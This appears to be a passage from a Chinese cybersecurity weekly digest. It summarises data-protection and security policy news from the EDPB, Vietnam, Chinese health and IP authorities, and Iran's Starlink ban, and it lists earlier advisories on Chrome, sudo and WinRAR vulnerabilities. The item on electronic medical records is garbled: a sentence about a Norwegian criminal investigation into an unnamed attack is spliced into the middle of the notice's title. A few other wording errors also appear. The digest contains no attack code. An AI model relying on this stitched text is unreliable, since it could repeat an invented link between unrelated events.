+https://www.miit.gov.cn/cms_files/demo/pdfjs/web/viewer.html?file=/cms_files/filemanager/1226211233/attach/20256/91c0963b1e5a40a0bbac8cf0883f5fc2.pdf + + +**4.欧盟EDPB发布简化GDPR合规声明** + + +7月2日，欧洲数据保护委员会（EDPB）发布《关于增强透明度、支持与参与的赫尔辛基声明》。该文件公布了多项新举措，旨在使 GDPR 合规变得更加容易，特别是对于微型、小型和中型组织，加强一致性并促进跨监管合作。该文件提出，开发“即用型”合规模板（基于并统一各国已有工作），减轻企业负担；制定通用模板供各国数据保护机构使用，旨在简化流程并探索跨监管的统一通知方案；推出易于获取和应用的检查清单、操作指南和常见问题解答，帮助企业理解关键义务。 + + +原文链接： + +https://www.edpb.europa.eu/news/news/2025/helsinki-statement-enhanced-clarity-support-and-engagement_en + + +**5.越南颁布《重要数据和核心数据清单》法令** + + +7月1日，越南副总理阮志勇签署了第20/2025/QD-TTg号决定，公布了重要数据和核心数据清单，以配合该国《数据法》的实施。据悉，核心数据包括尚未公开的国界与领土主权相关数据、未公开的国防安全工业活动数据、未公开的政党活动数据等28类，重要数据包括核心数据类别及其他17类，如国家机构手机管理且未公开的监察申诉举报及反腐数据、内政数据、交通运输数据等。 + + +原文链接： + +https://vanban.chinhphu.vn/?pageid=27160&docid=214354 + + +**6.三部门印发《关于进一步加强医疗机构电子病历信息使用管理的通知》** + + +6月30日，国家卫生健康委办公厅、国家中医药局综合司、国家疾控局综合司印发《关于进一步加强医疗机构电子病历信息使用管理的通目前案件已正式由挪威国家刑事调查局主导刑事调查，相关部门正努力确认攻击者身份，并评估此次事件的整体影响范围。  知》。该文件要求加强医疗机构内部管理。医疗机构需明确电子病历范围，压实主体责任，依法依规严格保护患者隐私，将电子病历信息规范使用管理情况纳入绩效评价。健全管理制度，建立电子病历使用长效监管机制和应急处置制度。落实分级管理要求，遵循最小可用原则，明确临床诊疗、教学、管理等相关人员分级访问权限和时限。该文件明确规范电子病历信息使用。医疗机构需规范相关人员使用权限和行为，不得违规收集、传输或泄露患者信息。加强短期人员培训与管理，确保权限与职责匹配，并与外部服务商签订保密协议。保障全流程可追溯，采用数字水印等技术，确保使用过程留痕。确保数据安全，建立电子病历信息安全防护体系，防范潜在安全风险。 + + +原文链接： + +https://www.nhc.gov.cn/yzygj/c100068/202506/c68abee7c54b4651a774cd533761780b.shtml + + +**7.伊朗立法禁止使用“星链”互联网服务，违者可能面临监禁或鞭刑** + + +6月29日，伊朗伊斯兰议会已通过一项新立法，对未经许可使用电子通讯工具，包括使用马斯克旗下SpaceX公司运营的“星链”卫星互联网服务将被定为犯罪行为，违者可能面临罚款、鞭刑或最高两年的监禁。该法律共包含九条内容，对一系列被视为威胁国家安全的行为将进行严厉处罚。根据该法律，任何与以色列或其他敌对国家的“情报或行动合作”都将被视为犯罪，依据伊朗法律，此项罪名可判处死刑。此外，若个人参与生产、运输或使用致命或非常规武器、军用级无人机或机器人、实施网络攻击或破坏关键基础设施，且其行为意图协助敌对实体，同样可能被判死刑。 + + +原文链接： + +https://mp.weixin.qq.com/s/7ehwf-dX25wwDGV9thACcQ + + +**8.国家知识产权局印发《关于开展“人工智能+”知识产权信息公共服务应用场景建设的通知》** + + +6月27日，国家知识产权局办公厅印发《关于开展“人工智能+”知识产权信息公共服务应用场景建设的通知》，以充分释放知识产权数据要素价值。该文艺要求强化数据安全保障水平。挖掘“人工智能+”支撑知识产权数据安全建设，进一步加强自主可控数据库建设和应用；提高数据合规高效流通利用水平，解决不同类型数据资源提供方、使用方、服务方、监管方等主体间的安全与信任问题等应用场景。 + + +原文链接： + +https://mp.weixin.qq.com/s/gKButBO-BSeiCY8PrCbjSg + + +**往期精彩推荐** + + +[【已复现】Google Chrome V8 类型混淆漏洞(CVE-2025-6554)安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503550&idx=1&sn=403675d7942468c56b29a05e37f625fc&scene=21#wechat_redirect) + + +[【已复现】Linux sudo 本地提权漏洞(CVE-2025-32462、CVE-2025-32463)安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503550&idx=2&sn=2f98d1c24d7cacca9fa9bfac2fb1adb8&scene=21#wechat_redirect) + + +[【已复现】WinRAR 目录穿越漏洞(CVE-2025-6218)安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503538&idx=1&sn=5439ec7c9b1446ac237be77feab8fcd0&scene=21#wechat_redirect) + + + + +本期周报内容由安全内参&虎符智库&奇安信CERT联合出品！ + + + + + + +